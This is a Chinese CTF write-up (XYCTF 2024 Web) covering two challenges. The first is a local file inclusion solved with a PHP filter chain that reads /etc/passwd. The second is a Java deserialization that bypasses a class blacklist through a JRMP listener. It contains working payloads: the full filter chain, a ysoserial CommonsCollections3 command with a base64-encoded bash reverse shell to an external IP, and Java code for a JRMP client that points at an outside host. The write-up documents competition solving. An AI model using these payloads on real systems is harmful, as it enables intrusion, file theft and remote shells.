SIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

image.png

题目溯源:
1.hxp 2021 counter
2.2023极客大挑战 ezlfi

baby_unserialize

考点:Java反序列化+Jrmp绕过黑名单

发现反序列化的点
image.png
URLDNS链验证
image.png

说明入口类 source Hashmap可用
该处存在Java反序化漏洞点,而且出网

welcome to this fantastic tool  
Try this one  
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l  (you deserialize me down, I shall become more powerful than you can possibly imagine)
{http://irrfzuahtu.dgrh3.cnhttp://irrfzuahtu.dgrh3.cn}  
Fin!

直接打CC链,发现对payload base64解码后对关键词做了关键字过滤

TempleteImport 类被禁 考虑绕过Sink执行

Error occurred: Class name not accepted: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

黑盒审计:猜测环境中是更为 通用性 的 CC3.2版本
简单试了一下其他1,3,5,7,11,CCK1没有成功
这里可以逐一对恶意类的过滤探索
可以像拼图一样 将Source,Gadget,Sink进行连接
在本地可以搭建环境用CodeQL辅助分析,但是是黑盒测试我们无法判断它具体是什么逻辑,可能花费的时间会特别多,这也不像新生赛会考的
所以我们换个思路:
这里直接用Jrmp绕过黑名单限制
开个Jrmp恶意服务器 做中间代理进行跳板绕过(类似二次反序列化)
用CC3 做恶意荷载

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections3 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

image.png

本意是想直接用 ysoserial 进行 Client的配置
但是对yso生成的Client做了 关键词过滤
所以直接写个Jrmp client端生成:

import sun.rmi.server.UnicastRef;  
import sun.rmi.transport.LiveRef;  
import sun.rmi.transport.tcp.TCPEndpoint;  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.rmi.server.ObjID;  
import java.rmi.server.RemoteObjectInvocationHandler;  
import java.util.Base64;  public class Jrmp {  public static void main(String[] args) throws Exception {  ObjID id = new ObjID();  TCPEndpoint te = new TCPEndpoint("23.94.38.86", 12345); LiveRef liveRef = new LiveRef(id, te, false); UnicastRef ref = new UnicastRef(liveRef); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);   ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(obj); oos.close(); //Jrmp client to try trybyte[] byteArray = barr.toByteArray(); String res = Base64.getEncoder().encodeToString(byteArray); System.out.println(res);new ObjectInputStream(new ByteArrayInputStream(byteArray)).readObject();  }  
}

image.png
反弹shell后在环境变量中拿到flag
image.png
侥幸拿了一血

这篇关于2024 XYCTF Web 方向 wp 全解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/940970

相关文章

如何使用Maven创建web目录结构

《如何使用Maven创建web目录结构》:本文主要介绍如何使用Maven创建web目录结构的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录创建web工程第一步第二步第三步第四步第五步第六步第七步总结创建web工程第一步js通过Maven骨架创pytho

Java Web实现类似Excel表格锁定功能实战教程

《JavaWeb实现类似Excel表格锁定功能实战教程》本文将详细介绍通过创建特定div元素并利用CSS布局和JavaScript事件监听来实现类似Excel的锁定行和列效果的方法,感兴趣的朋友跟随... 目录1. 模拟Excel表格锁定功能2. 创建3个div元素实现表格锁定2.1 div元素布局设计2.

如何使用Haporxy搭建Web群集

《如何使用Haporxy搭建Web群集》Haproxy是目前比较流行的一种群集调度工具,同类群集调度工具有很多如LVS和Nginx,本案例介绍使用Haproxy及Nginx搭建一套Web群集,感兴趣的... 目录一、案例分析1.案例概述2.案例前置知识点2.1 HTTP请求2.2 负载均衡常用调度算法 2.

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

SpringBoot项目Web拦截器使用的多种方式

《SpringBoot项目Web拦截器使用的多种方式》在SpringBoot应用中,Web拦截器(Interceptor)是一种用于在请求处理的不同阶段执行自定义逻辑的机制,下面给大家介绍Sprin... 目录一、实现 HandlerInterceptor 接口1、创建HandlerInterceptor实

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.

Python使用Reflex构建现代Web应用的完全指南

《Python使用Reflex构建现代Web应用的完全指南》这篇文章为大家深入介绍了Reflex框架的设计理念,技术特性,项目结构,核心API,实际开发流程以及与其他框架的对比和部署建议,感兴趣的小伙... 目录什么是 ReFlex?为什么选择 Reflex?安装与环境配置构建你的第一个应用核心概念解析组件

Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例

《Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例》本文介绍Nginx+Keepalived实现Web集群高可用负载均衡的部署与测试,涵盖架构设计、环境配置、健康检查、... 目录前言一、架构设计二、环境准备三、案例部署配置 前端 Keepalived配置 前端 Nginx

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加